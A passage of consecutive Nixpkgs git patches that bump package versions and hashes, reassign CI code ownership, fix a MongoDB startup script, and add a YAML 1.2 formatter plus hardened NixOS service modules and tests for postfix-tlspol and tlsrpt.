       owner = "libvirt";
       repo = "libvirt-perl";
       tag = "v${version}";
-      hash = "sha256-k1fpVLWbFgZOUvCPLN6EpYgSfpwig5mHiWMRo8iRvZc=";
+      hash = "sha256-e/Zb9ox/ehfybpxiCAsEl97T1vjBNpRYJK/kmehPHsY=";
     };
     nativeBuildInputs = [ pkgs.pkg-config ];
     buildInputs = [

From ff2fdeac36fdff43b8d57712580f31451d1d29b2 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 13 Jun 2025 17:16:01 +0200
Subject: [PATCH 1287/4511] OWNERS: drop security team from CI

To reduce the number of notifications.

(cherry picked from commit a2404e557b2a63efd2652a5461dab9676afcc0c0)
---
 ci/OWNERS | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/ci/OWNERS b/ci/OWNERS
index 7d9596db8c1b..5e967a1b9b53 100644
--- a/ci/OWNERS
+++ b/ci/OWNERS
@@ -15,9 +15,9 @@
 
 # CI
 /.github/*_TEMPLATE*                    @SigmaSquadron
-/.github/actions                        @NixOS/Security @Mic92 @zowoq @infinisil @azuwis @wolfgangwalther @philiptaron
-/.github/workflows                      @NixOS/Security @Mic92 @zowoq @infinisil @azuwis @wolfgangwalther @philiptaron
-/ci                                     @NixOS/Security @Mic92 @zowoq @infinisil @azuwis @wolfgangwalther @philiptaron
+/.github/actions                        @Mic92 @zowoq @infinisil @azuwis @wolfgangwalther @philiptaron
+/.github/workflows                      @Mic92 @zowoq @infinisil @azuwis @wolfgangwalther @philiptaron
+/ci                                     @Mic92 @zowoq @infinisil @azuwis @wolfgangwalther @philiptaron
 /ci/OWNERS                              @infinisil @philiptaron
 
 # Development support

From 4884e604c3f87b7f37a02777b4ecd1a7d2d304cd Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 13 Jun 2025 15:44:09 +0200
Subject: [PATCH 1288/4511] teams/ci: init

(cherry picked from commit ec9986a919ddae50d68e1bce77dcfd97a06a586a)
---
 ci/OWNERS                 |  6 +++---
 maintainers/team-list.nix | 13 +++++++++++++
 2 files changed, 16 insertions(+), 3 deletions(-)

diff --git a/ci/OWNERS b/ci/OWNERS
index 5e967a1b9b53..08939f1b2c0b 100644
--- a/ci/OWNERS
+++ b/ci/OWNERS
@@ -15,9 +15,9 @@
 
 # CI
 /.github/*_TEMPLATE*                    @SigmaSquadron
-/.github/actions                        @Mic92 @zowoq @infinisil @azuwis @wolfgangwalther @philiptaron
-/.github/workflows                      @Mic92 @zowoq @infinisil @azuwis @wolfgangwalther @philiptaron
-/ci                                     @Mic92 @zowoq @infinisil @azuwis @wolfgangwalther @philiptaron
+/.github/actions                        @NixOS/nixpkgs-ci
+/.github/workflows                      @NixOS/nixpkgs-ci
+/ci                                     @NixOS/nixpkgs-ci
 /ci/OWNERS                              @infinisil @philiptaron
 
 # Development support
diff --git a/maintainers/team-list.nix b/maintainers/team-list.nix
index bbf3e1418abc..0afc2ae4d8f1 100644
--- a/maintainers/team-list.nix
+++ b/maintainers/team-list.nix
@@ -187,6 +187,19 @@ with lib.maintainers;
     shortName = "Categorization";
   };
 
+  ci = {
+    members = [
+      MattSturgeon
+      mic92
+      philiptaron
+      wolfgangwalther
+      zowoq
+    ];
+    githubTeams = [ "nixpkgs-ci" ];
+    scope = "Maintain Nixpkgs' in-tree Continuous Integration, including GitHub Actions.";
+    shortName = "CI";
+  };
+
   cinnamon = {
     members = [
       bobby285271

From d643bc40c3f0ace75f7abb65c5210695b58c55bc Mon Sep 17 00:00:00 2001
From: ActuallyRuben <ruben@actuallyruben.nl>
Date: Wed, 28 May 2025 22:42:34 +0200
Subject: [PATCH 1289/4511] nixos/mongodb: fix initialScript when no
 initialRootPasswordFile is set

(cherry picked from commit 3400dbdfcd2320dfc33b149f764bf079e8d229e7)
---
 nixos/modules/services/databases/mongodb.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nixos/modules/services/databases/mongodb.nix b/nixos/modules/services/databases/mongodb.nix
index 129b679d73f8..1eba6fdc60af 100644
--- a/nixos/modules/services/databases/mongodb.nix
+++ b/nixos/modules/services/databases/mongodb.nix
@@ -199,7 +199,7 @@ in
       postStart = ''
         if test -e "${cfg.dbpath}/.first_startup"; then
           ${lib.optionalString (cfg.initialScript != null) ''
-            initialRootPassword=$(<${cfg.initialRootPasswordFile})
+            ${lib.optionalString (cfg.enableAuth) "initialRootPassword=$(<${cfg.initialRootPasswordFile})"}
             ${mongoshExe} ${lib.optionalString (cfg.enableAuth) "-u root -p $initialRootPassword"} admin "${cfg.initialScript}"
           ''}
           rm -f "${cfg.dbpath}/.first_startup"

From dedc41e62d4e1d47db347cae8ab91be00f2a663a Mon Sep 17 00:00:00 2001
From: SchweGELBin <abramjannikmichael06@gmail.com>
Date: Mon, 16 Jun 2025 20:55:59 +0200
Subject: [PATCH 1290/4511] mautrix-whatsapp: 0.12.1 -> 0.12.2

(cherry picked from commit 08821f9752aa26610f90aae104c261e137229420)
---
 pkgs/by-name/ma/mautrix-whatsapp/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ma/mautrix-whatsapp/package.nix b/pkgs/by-name/ma/mautrix-whatsapp/package.nix
index b38f13c39c4e..ccf7bf9138d9 100644
--- a/pkgs/by-name/ma/mautrix-whatsapp/package.nix
+++ b/pkgs/by-name/ma/mautrix-whatsapp/package.nix
@@ -14,19 +14,19 @@
 
 buildGoModule rec {
   pname = "mautrix-whatsapp";
-  version = "0.12.1";
+  version = "0.12.2";
 
   src = fetchFromGitHub {
     owner = "mautrix";
     repo = "whatsapp";
     rev = "v${version}";
-    hash = "sha256-WZPmSIkRSCrI1krIWJ2abVw1t81vjcqewTdx0W2aD+Q=";
+    hash = "sha256-Es6RWUo/e25wYGIz6feVNXIQbMCDPl1iZoKT3x8vHtA=";
   };
 
   buildInputs = lib.optional (!withGoolm) olm;
   tags = lib.optional withGoolm "goolm";
 
-  vendorHash = "sha256-jgwi0ENJ064gWJWyvlSlaEicC+NAtn0Tdbnu6mzmLoE=";
+  vendorHash = "sha256-/R6MI6egGV1E1YzKcxBSOb2z97kA1HCK5GdMgfR1vSM=";
 
   doCheck = false;
 

From eb9771c75cb69d89920954020e849fcfb646a293 Mon Sep 17 00:00:00 2001
From: e0 <eliasoderso@riseup.net>
Date: Tue, 10 Jun 2025 00:23:24 +0200
Subject: [PATCH 1291/4511] postfix-tlspol: set mainProgram to postfix-tlspol
 Solves #415248

(cherry picked from commit 82000d260b9020336a5002c857bbe1095be95c13)
---
 pkgs/by-name/po/postfix-tlspol/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/po/postfix-tlspol/package.nix b/pkgs/by-name/po/postfix-tlspol/package.nix
index ba26295d9d13..7cb09d015092 100644
--- a/pkgs/by-name/po/postfix-tlspol/package.nix
+++ b/pkgs/by-name/po/postfix-tlspol/package.nix
@@ -27,5 +27,6 @@ buildGoModule rec {
     homepage = "https://github.com/Zuplu/postfix-tlspol";
     license = lib.licenses.mit;
     maintainers = with lib.maintainers; [ valodim ];
+    mainProgram = "postfix-tlspol";
   };
 }

From c74fee987125287ba3e18f94d4e15a8b814615f3 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Tue, 10 Jun 2025 05:21:34 +0200
Subject: [PATCH 1292/4511] pkgs.formats.yaml_1_2: init

Same as YAML 1.1 but relies on the unpinned remarshal version which emits
YAML 1.2.

(cherry picked from commit eb8f7fcc12258b95fda8ce2192319db861794db1)
---
 pkgs/pkgs-lib/formats.nix       | 41 ++++++++++++++++++++++++++++++++-
 pkgs/pkgs-lib/tests/formats.nix | 36 ++++++++++++++++++++++++++++-
 2 files changed, 75 insertions(+), 2 deletions(-)

diff --git a/pkgs/pkgs-lib/formats.nix b/pkgs/pkgs-lib/formats.nix
index 1e2061027c76..dd8551affee5 100644
--- a/pkgs/pkgs-lib/formats.nix
+++ b/pkgs/pkgs-lib/formats.nix
@@ -136,7 +136,46 @@ rec {
               (listOf valueType)
             ])
             // {
-              description = "YAML value";
+              description = "YAML 1.1 value";
+            };
+        in
+        valueType;
+
+    };
+
+  yaml_1_2 =
+    { }:
+    {
+      generate =
+        name: value:
+        pkgs.callPackage (
+          { runCommand, remarshal }:
+          runCommand name
+            {
+              nativeBuildInputs = [ remarshal ];
+              value = builtins.toJSON value;
+              passAsFile = [ "value" ];
+              preferLocalBuild = true;
+            }
+            ''
+              json2yaml "$valuePath" "$out"
+            ''
+        ) { };
+
+      type =
+        let
+          valueType =
+            nullOr (oneOf [
+              bool
+              int
+              float
+              str
+              path
+              (attrsOf valueType)
+              (listOf valueType)
+            ])
+            // {
+              description = "YAML 1.2 value";
             };
         in
         valueType;
diff --git a/pkgs/pkgs-lib/tests/formats.nix b/pkgs/pkgs-lib/tests/formats.nix
index d69fd9e15fb9..4f635a4070fe 100644
--- a/pkgs/pkgs-lib/tests/formats.nix
+++ b/pkgs/pkgs-lib/tests/formats.nix
@@ -143,7 +143,7 @@ runBuildTests {
   };
 
   yaml_1_1Atoms = shouldPass {
-    format = formats.yaml { };
+    format = formats.yaml_1_1 { };
     input = {
       null = null;
       false = false;
@@ -176,6 +176,40 @@ runBuildTests {
     '';
   };
 
+  yaml_1_2Atoms = shouldPass {
+    format = formats.yaml_1_2 { };
+    input = {
+      null = null;
+      false = false;
+      true = true;
+      float = 3.141;
+      str = "foo";
+      attrs.foo = null;
+      list = [
+        null
+        null
+      ];
+      path = ./testfile;
+      no = "no";
+      time = "22:30:00";
+    };
+    expected = ''
+      attrs:
+        foo: null
+      'false': false
+      float: 3.141
+      list:
+      - null
+      - null
+      no: no
+      'null': null
+      path: ${./testfile}
+      str: foo
+      time: 22:30:00
+      'true': true
+    '';
+  };
+
   iniAtoms = shouldPass {
     format = formats.ini { };
     input = {

From 7dbf3f27efbf43bce2422d60082f7b0c93056509 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Tue, 10 Jun 2025 04:36:12 +0200
Subject: [PATCH 1293/4511] nixos/postfix-tlspol: init

MTA-STS and DANE/TLSA resolver and TLS policy socketmap server for
Postfix.

(cherry picked from commit 7c0f92f70bbe9ae6441bd68069970a9e7ace91bd)
---
 nixos/modules/module-list.nix                 |   1 +
 .../modules/services/mail/postfix-tlspol.nix  | 220 ++++++++++++++++++
 2 files changed, 221 insertions(+)
 create mode 100644 nixos/modules/services/mail/postfix-tlspol.nix

diff --git a/nixos/modules/module-list.nix b/nixos/modules/module-list.nix
index 778be5d51ac9..625bc8489f2a 100644
--- a/nixos/modules/module-list.nix
+++ b/nixos/modules/module-list.nix
@@ -735,6 +735,7 @@
   ./services/mail/opendkim.nix
   ./services/mail/opensmtpd.nix
   ./services/mail/pfix-srsd.nix
+  ./services/mail/postfix-tlspol.nix
   ./services/mail/postfix.nix
   ./services/mail/postfixadmin.nix
   ./services/mail/postgrey.nix
diff --git a/nixos/modules/services/mail/postfix-tlspol.nix b/nixos/modules/services/mail/postfix-tlspol.nix
new file mode 100644
index 000000000000..01373659da4a
--- /dev/null
+++ b/nixos/modules/services/mail/postfix-tlspol.nix
@@ -0,0 +1,220 @@
+{
+  config,
+  lib,
+  pkgs,
+  ...
+}:
+
+let
+  inherit (lib)
+    hasPrefix
+    mkEnableOption
+    mkIf
+    mkOption
+    mkPackageOption
+    types
+    ;
+
+  cfg = config.services.postfix-tlspol;
+
+  format = pkgs.formats.yaml_1_2 { };
+in
+
+{
+  options.services.postfix-tlspol = {
+    enable = mkEnableOption "postfix-tlspol";
+
+    package = mkPackageOption pkgs "postfix-tlspol" { };
+
+    settings = mkOption {
+      type = types.submodule {
+        freeformType = format.type;
+        options = {
+          server = {
+            address = mkOption {
+              type = types.str;
+              default = "unix:/run/postfix-tlspol/tlspol.sock";
+              example = "127.0.0.1:8642";
+              description = ''
+                Path or address/port where postfix-tlspol binds its socket to.
+              '';
+            };
+
+            socket-permissions = mkOption {
+              type = types.str;
+              default = "0660";
+              readOnly = true;
+              description = ''
+                Permissions to the UNIX socket, if configured.
+
+                ::: {.note}
+                Due to hardening on the systemd unit the socket can never be created world readable/writable.
+                :::
+              '';
+              apply = value: (builtins.fromTOML "v=0o${value}").v;
+            };
+
+            log-level = mkOption {
+              type = types.enum [
+                "debug"
+                "info"
+                "warn"
+                "error"
+              ];
+              default = "info";
+              example = "warn";
+              description = ''
+                Log level
+              '';
+            };
+
+            prefetch = mkOption {
+              type = types.bool;
+              default = true;
+              example = false;
+              description = ''
+                Whether to prefetch DNS records when the TTL of a cached record is about to expire.
+              '';
+            };
+
+            cache-file = mkOption {
+              type = types.path;
+              default = "/var/cache/postfix-tlspol/cache.db";
+              readOnly = true;
+              description = ''
+                Path to the cache file.
+              '';
+            };
+          };
+
+          dns = {
+            server = mkOption {
+              type = types.str;
+              default = "127.0.0.1:53";
+              description = ''
+                IP and port to your DNS resolver
+
+                ::: {.note}
+                The configured DNS resolver must validate DNSSEC signatures.
+                :::
+              '';
+            };
+          };
+        };
+      };
+
+      default = { };
+      description = ''
+        The postfix-tlspol configuration file as a Nix attribute set.
+
+        See the reference documentation for possible options.
+        <https://github.com/Zuplu/postfix-tlspol/blob/main/configs/config.default.yaml>
+      '';
+    };
+
+    configurePostfix = mkOption {
+      type = types.bool;
+      default = true;
+      description = ''
+        Whether to configure the required settings to use postfix-tlspol in the local Postfix instance.
+      '';
+    };
+  };
+
+  config = mkIf cfg.enable {
+    environment.etc."postfix-tlspol/config.yaml".source =
+      format.generate "postfix-tlspol.yaml" cfg.settings;
+
+    environment.systemPackages = [ cfg.package ];
+
+    # https://github.com/Zuplu/postfix-tlspol#postfix-configuration
+    services.postfix.config = mkIf (config.services.postfix.enable && cfg.configurePostfix) {
+      smtp_dns_support_level = "dnssec";
+      smtp_tls_security_level = "dane";
+      smtp_tls_policy_maps =
+        let
+          address =
+            if (hasPrefix "unix:" cfg.settings.server.address) then
+              cfg.settings.server.address
+            else
+              "inet:${cfg.settings.server.address}";
+        in
+        [ "socketmap:${address}:QUERYwithTLSRPT" ];
+    };
+
+    systemd.services.postfix-tlspol = {
+      after = [
+        "nss-lookup.target"
+        "network-online.target"
+      ];
+      wants = [
+        "nss-lookup.target"
+        "network-online.target"
+      ];
+      wantedBy = [ "multi-user.target" ];
+
+      description = "Postfix DANE/MTA-STS TLS policy socketmap service";
+      documentation = [ "https://github.com/Zuplu/postfix-tlspol" ];
+
+      # https://github.com/Zuplu/postfix-tlspol/blob/main/init/postfix-tlspol.service
+      serviceConfig = {
+        ExecStart = toString [
+          (lib.getExe cfg.package)
+          "-config"
+          "/etc/postfix-tlspol/config.yaml"
+        ];
+        ExecReload = "${lib.getExe' pkgs.util-linux "kill"} -HUP $MAINPID";
+        Restart = "always";
+        RestartSec = 5;
+
+        DynamicUser = true;
+
+        CacheDirectory = "postfix-tlspol";
+        CapabilityBoundingSet = [ "" ];
+        LockPersonality = true;
+        MemoryDenyWriteExecute = true;
+        NoNewPrivileges = true;
+        PrivateDevices = true;
+        PrivateTmp = true;
+        PrivateUsers = true;
+        ProcSubset = "pid";
+        ProtectClock = true;
+        ProtectControlGroups = true;
+        ProtectHome = true;
+        ProtectHostname = true;
+        ProtectKernelLogs = true;
+        ProtectKernelModules = true;
+        ProtectKernelTunables = true;
+        ProtectProc = "invisible";
+        ProtectSystem = "strict";
+        ReadOnlyPaths = [ "/etc/postfix-tlspol/config.yaml" ];
+        RemoveIPC = true;
+        RestrictAddressFamilies =
+          [
+            "AF_INET"
+            "AF_INET6"
+          ]
+          ++ lib.optionals (lib.hasPrefix "unix:" cfg.settings.server.address) [
+            "AF_UNIX"
+          ];
+        RestrictNamespace = true;
+        RestrictRealtime = true;
+        RestrictSUIDSGID = true;
+        SystemCallArchitectures = "native";
+        SystemCallFilter = [
+          "@system-service"
+          "~@privileged @resources"
+        ];
+        SystemCallErrorNumber = "EPERM";
+        SecureBits = [
+          "noroot"
+          "noroot-locked"
+        ];
+        RuntimeDirectory = "postfix-tlspol";
+        RuntimeDirectoryMode = "1750";
+        WorkingDirectory = "/var/cache/postfix-tlspol";
+        UMask = "0117";
+      };
+    };
+  };
+}

From 937d0f12a8617b916a390f5a9c1193d82d93585e Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Tue, 10 Jun 2025 05:27:52 +0200
Subject: [PATCH 1294/4511] nixos/tests/postfix-tlspol: init

Simple test if the service comes up and the CLI can interact with it and
gives reasonable results.

(cherry picked from commit 2288aab12d4b8d1e82dabe501772a30945e0b584)
---
 nixos/tests/all-tests.nix                  |  1 +
 nixos/tests/postfix-tlspol.nix             | 29 ++++++++++++++++++++++
 pkgs/by-name/po/postfix-tlspol/package.nix |  5 ++++
 3 files changed, 35 insertions(+)
 create mode 100644 nixos/tests/postfix-tlspol.nix

diff --git a/nixos/tests/all-tests.nix b/nixos/tests/all-tests.nix
index b5ac575ad25c..0a83c2e7c7d8 100644
--- a/nixos/tests/all-tests.nix
+++ b/nixos/tests/all-tests.nix
@@ -1086,6 +1086,7 @@ in
     handleTest ./postfix-raise-smtpd-tls-security-level.nix
       { };
   postfixadmin = handleTest ./postfixadmin.nix { };
+  postfix-tlspol = runTest ./postfix-tlspol.nix;
   postgres-websockets = runTest ./postgres-websockets.nix;
   postgresql = handleTest ./postgresql { };
   postgrest = runTest ./postgrest.nix;
diff --git a/nixos/tests/postfix-tlspol.nix b/nixos/tests/postfix-tlspol.nix
new file mode 100644
index 000000000000..0c76257f6a5a
--- /dev/null
+++ b/nixos/tests/postfix-tlspol.nix
@@ -0,0 +1,29 @@
+{
+  lib,
+  ...
+}:
+{
+  name = "postfix-tlspol";
+
+  meta.maintainers = with lib.maintainers; [ hexa ];
+
+  nodes.machine = {
+    services.postfix-tlspol.enable = true;
+  };
+
+  enableOCR = true;
+
+  testScript = ''
+    import json
+
+    machine.wait_for_unit("postfix-tlspol.service")
+
+    with subtest("Interact with the service"):
+      machine.succeed("postfix-tlspol -purge")
+
+      response = json.loads((machine.succeed("postfix-tlspol -query localhost")))
+      machine.log(json.dumps(response, indent=2))
+
+  '';
+
+}
diff --git a/pkgs/by-name/po/postfix-tlspol/package.nix b/pkgs/by-name/po/postfix-tlspol/package.nix
index 7cb09d015092..6ae2c9e02398 100644
--- a/pkgs/by-name/po/postfix-tlspol/package.nix
+++ b/pkgs/by-name/po/postfix-tlspol/package.nix
@@ -2,6 +2,7 @@
   lib,
   buildGoModule,
   fetchFromGitHub,
+  nixosTests,
 }:
 
 buildGoModule rec {
@@ -22,6 +23,10 @@ buildGoModule rec {
 
   ldflags = [ "-X main.Version=${version}" ];
 
+  passthru.tests = {
+    inherit (nixosTests) postfix-tlspol;
+  };
+
   meta = {
     description = "Lightweight MTA-STS + DANE/TLSA resolver and TLS policy server for Postfix, prioritizing DANE.";
     homepage = "https://github.com/Zuplu/postfix-tlspol";

From 5709e57adc39a448934d0f7074f31d289e97dee5 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Wed, 18 Jun 2025 15:14:19 +0000
Subject: [PATCH 1295/4511] wofi-power-menu: 0.2.6 -> 0.2.7

(cherry picked from commit 5929a11a168b7d728628f86a2a1bcb27d5e5ece5)
---
 pkgs/by-name/wo/wofi-power-menu/package.nix | 18 +++++++++++++-----
 1 file changed, 13 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/wo/wofi-power-menu/package.nix b/pkgs/by-name/wo/wofi-power-menu/package.nix
index 06a8674e632f..49f04b70a13b 100644
--- a/pkgs/by-name/wo/wofi-power-menu/package.nix
+++ b/pkgs/by-name/wo/wofi-power-menu/package.nix
@@ -6,23 +6,31 @@
   wofi,
   versionCheckHook,
   nix-update-script,
+  yq,
 }:
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "wofi-power-menu";
-  version = "0.2.6";
+  version = "0.2.7";
 
   src = fetchFromGitHub {
     owner = "szaffarano";
     repo = "wofi-power-menu";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-UDDDtI6wnx64KG+1/S6bYTc1xi1vOFuZOmRCLK2Yzew=";
+    hash = "sha256-WPTK9izFU8xZ5YVFuEGO5EoOzgpXWXQnGgeNYjnb/zA=";
   };
 
-  useFetchCargoVendor = true;
-  cargoHash = "sha256-rlEjktBGBrOqG82PA7LSiXo0iyEPpeWgLix/sVd/dTM=";
+  postPatch = ''
+    tomlq -ti '.package.version = "0.2.7"' Cargo.toml
+  '';
 
-  nativeBuildInputs = [ makeWrapper ];
+  useFetchCargoVendor = true;
+  cargoHash = "sha256-oJd2ymNkNSGUD3cQ+bEHooAJQNeSarkIHWvGNXezwrM=";
+
+  nativeBuildInputs = [
+    makeWrapper
+    yq # for `tomlq`
+  ];
 
   postInstall = ''
     wrapProgram $out/bin/wofi-power-menu \

From 0be8cc4d2612f9a5a0c528aba20e0687c24fb231 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Tue, 10 Jun 2025 05:44:40 +0200
Subject: [PATCH 1296/4511] tlsrpt-reporter: init at 0.5.0

An application suite to receive TLSRPT datagrams and to generate and\
deliver TLSRPT reports.

(cherry picked from commit 750bb65c681d8e17e18f24a2e9db0a2e7e8062d1)
---
 pkgs/by-name/tl/tlsrpt-reporter/package.nix | 60 +++++++++++++++++++++
 1 file changed, 60 insertions(+)
 create mode 100644 pkgs/by-name/tl/tlsrpt-reporter/package.nix

diff --git a/pkgs/by-name/tl/tlsrpt-reporter/package.nix b/pkgs/by-name/tl/tlsrpt-reporter/package.nix
new file mode 100644
index 000000000000..62ae4b631305
--- /dev/null
+++ b/pkgs/by-name/tl/tlsrpt-reporter/package.nix
@@ -0,0 +1,60 @@
+{
+  lib,
+  asciidoctor,
+  automake,
+  installShellFiles,
+  python3,
+  fetchFromGitHub,
+}:
+
+python3.pkgs.buildPythonApplication rec {
+  pname = "tlsrpt-reporter";
+  version = "0.5.0";
+  pyproject = true;
+
+  outputs = [
+    "out"
+    "man"
+  ];
+
+  src = fetchFromGitHub {
+    owner = "sys4";
+    repo = "tlsrpt-reporter";
+    tag = "v${version}";
+    hash = "sha256-IH8hJX9l+YonqOuszcMome4mjdIaedgGNIptxTyH1ng=";
+  };
+
+  nativeBuildInputs = [
+    asciidoctor
+    automake
+    installShellFiles
+  ];
+
+  build-system = [
+    python3.pkgs.hatchling
+  ];
+
+  postBuild = ''
+    make -C doc
+  '';
+
+  postInstall = ''
+    installManPage doc/*.1
+  '';
+
+  nativeCheckInputs = [
+    python3.pkgs.pytestCheckHook
+  ];
+
+  pythonImportsCheck = [
+    "tlsrpt_reporter"
+  ];
+
+  meta = {
+    description = "Application suite to receive TLSRPT datagrams and to generate and deliver TLSRPT reports";
+    homepage = "https://github.com/sys4/tlsrpt-reporter";
+    changelog = "https://github.com/sys4/tlsrpt-reporter/blob/${src.tag}/CHANGELOG.md";
+    license = lib.licenses.gpl3Only;
+    maintainers = with lib.maintainers; [ hexa ];
+  };
+}

From 335a3bd10b238afcf0823b1e8fd97d6197b2accb Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Sat, 14 Jun 2025 17:03:55 +0200
Subject: [PATCH 1297/4511] nixos/tlsrpt: init

(cherry picked from commit 863d3a151d9e73d2302c4da146171dcf6c3c816a)
---
 nixos/modules/module-list.nix          |   1 +
 nixos/modules/services/mail/tlsrpt.nix | 324 +++++++++++++++++++++++++
 2 files changed, 325 insertions(+)
 create mode 100644 nixos/modules/services/mail/tlsrpt.nix

diff --git a/nixos/modules/module-list.nix b/nixos/modules/module-list.nix
index 778be5d51ac9..806de6d2668a 100644
--- a/nixos/modules/module-list.nix
+++ b/nixos/modules/module-list.nix
@@ -749,6 +749,7 @@
   ./services/mail/spamassassin.nix
   ./services/mail/stalwart-mail.nix
   ./services/mail/sympa.nix
+  ./services/mail/tlsrpt.nix
   ./services/mail/zeyple.nix
   ./services/matrix/appservice-discord.nix
   ./services/matrix/appservice-irc.nix
diff --git a/nixos/modules/services/mail/tlsrpt.nix b/nixos/modules/services/mail/tlsrpt.nix
new file mode 100644
index 000000000000..732679c9b05a
--- /dev/null
+++ b/nixos/modules/services/mail/tlsrpt.nix
@@ -0,0 +1,324 @@
+{
+  config,
+  lib,
+  pkgs,
+  ...
+}:
+
+let
+  inherit (lib)
+    mkEnableOption
+    mkIf
+    mkOption
+    mkPackageOption
+    types
+    ;
+
+  cfg = config.services.tlsrpt;
+
+  format = pkgs.formats.ini { };
+  dropNullValues = lib.filterAttrsRecursive (_: value: value != null);
+
+  commonServiceSettings = {
+    DynamicUser = true;
+    User = "tlsrpt";
+    Restart = "always";
+    StateDirectory = "tlsrpt";
+    StateDirectoryMode = "0700";
+
+    # Hardening
+    CapabilityBoundingSet = [ "" ];
+    LockPersonality = true;
+    MemoryDenyWriteExecute = true;
+    PrivateDevices = true;
+    PrivateUsers = false;
+    ProcSubset = "pid";
+    ProtectControlGroups = true;
+    ProtectClock = true;
+    ProtectHome = true;
+    ProtectHostname = true;
+    ProtectKernelLogs = true;
+    ProtectKernelModules = true;
+    ProtectKernelTunables = true;
+    ProtectProc = "noaccess";
+    RestrictNamespaces = true;
+    RestrictRealtime = true;
+    SystemCallArchitectures = "native";
+    SystemCallFilter = [
+      "@system-service"
+      "~@privileged @resources"
+    ];
+  };
+
+in
+
+{
+  options.services.tlsrpt = {
+    enable = mkEnableOption "the TLSRPT services";
+
+    package = mkPackageOption pkgs "tlsrpt-reporter" { };
+
+    collectd = {
+      settings = mkOption {
+        type = types.submodule {
+          freeformType = format.type;
+          options = {
+            storage = mkOption {
+              type = types.str;
+              default = "sqlite:///var/lib/tlsrpt/collectd.sqlite";
+              description = ''
+                Storage backend definition.
+              '';
+            };
+
+            socketname = mkOption {
+              type = types.path;
+              default = "/run/tlsrpt/collectd.sock";
+              description = ''
+                Path at which the UNIX socket will be created.
+              '';
+            };
+
+            socketmode = mkOption {
+              type = types.str;
+              default = "0220";
+              description = ''
+                Permissions on the UNIX socket.
+              '';
+            };
+
+            log_level = mkOption {
+              type = types.enum [
+                "debug"
+                "info"
+                "warning"
+                "error"
+                "critical"
+              ];
+              default = "info";
+              description = ''
+                Level of log messages to emit.
+              '';
+            };
+          };
+        };
+        default = { };
+        description = ''
+          Flags from {manpage}`tlsrpt-collectd(1)` as key-value pairs.
+        '';
+      };
+
+      extraFlags = mkOption {
+        type = with types; listOf str;
+        default = [ ];
+        description = ''
+          List of extra flags to pass to the tlsrpt-reportd executable.
+
+          See {manpage}`tlsrpt-collectd(1)` for possible flags.
+        '';
+      };
+
+      configurePostfix = mkOption {
+        type = types.bool;
+        default = true;
+        description = ''
+          Whether to modify the local Postfix service to grant access to the collectd socket.
+        '';
+      };
+    };
+
+    fetcher = {
+      settings = mkOption {
+        type = types.submodule {
+          freeformType = format.type;
+          options = {
+            storage = mkOption {
+              type = types.str;
+              default = config.services.tlsrpt.collectd.settings.storage;
+              defaultText = lib.literalExpression ''
+                config.services.tlsrpt.collectd.settings.storage
+              '';
+              description = ''
+                Path to the collectd sqlite database.
+              '';
+            };
+
+            log_level = mkOption {
+              type = types.enum [
+                "debug"
+                "info"
+                "warning"
+                "error"
+                "critical"
+              ];
+              default = "info";
+              description = ''
+                Level of log messages to emit.
+              '';
+            };
+          };
+        };
+        default = { };
+        description = ''
+          Flags from {manpage}`tlsrpt-fetcher(1)` as key-value pairs.
+        '';
+      };
+    };
+
+    reportd = {
+      settings = mkOption {
+        type = types.submodule {
+          freeformType = format.type;
+          options = {
+            dbname = mkOption {
+              type = types.str;
+              default = "/var/lib/tlsrpt/reportd.sqlite";
+              description = ''
+                Path to the sqlite database.
+              '';
+            };
+
+            fetchers = mkOption {
+              type = types.str;
+              default = lib.getExe' cfg.package "tlsrpt-fetcher";
+              defaultText = lib.literalExpression ''
+                lib.getExe' cfg.package "tlsrpt-fetcher"
+              '';
+              description = ''
+                Comma-separated list of fetcher programs that retrieve collectd data.
+              '';
+            };
+
+            log_level = mkOption {
+              type = types.enum [
+                "debug"
+                "info"
+                "warning"
+                "error"
+                "critical"
+              ];
+              default = "info";
+              description = ''
+                Level of log messages to emit.
+              '';
+            };
+
+            organization_name = mkOption {
+              type = types.str;
+              example = "ACME Corp.";
+              description = ''
+                Name of the organization sending out the reports.
+              '';
+            };
+
+            contact_info = mkOption {
+              type = types.str;
+              example = "smtp-tls-reporting@example.com";
+              description = ''
+                Contact information embedded into the reports.
+              '';
+            };
+
+            sender_address = mkOption {
+              type = types.str;
+              example = "noreply@example.com";
+              description = ''
+                Sender address used for reports.
+              '';
+            };
+
+            sendmail_script = mkOption {
+              type = with types; nullOr str;
+              default = if config.services.postfix.enable then "sendmail" else null;
+              defaultText = lib.literalExpression ''
+                if any [ config.services.postfix.enable ] then "sendmail" else null
+              '';
+              description = ''
+                Path to a sendmail-compatible executable for delivery reports.
+              '';
+            };
+          };
+        };
+        default = { };
+        description = ''
+          Flags from {manpage}`tlsrpt-reportd(1)` as key-value pairs.
+        '';
+      };
+
+      extraFlags = mkOption {
+        type = with types; listOf str;
+        default = [ ];
+        description = ''
+          List of extra flags to pass to the tlsrpt-reportd executable.
+
+          See {manpage}`tlsrpt-report(1)` for possible flags.
+        '';
+      };
+    };
+  };
+
+  config = mkIf cfg.enable {
+    environment.etc = {
+      "tlsrpt/collectd.cfg".source = format.generate "tlsrpt-collectd.cfg" {
+        tlsrpt_collectd = dropNullValues cfg.collectd.settings;
+      };
+      "tlsrpt/fetcher.cfg".source = format.generate "tlsrpt-fetcher.cfg" {
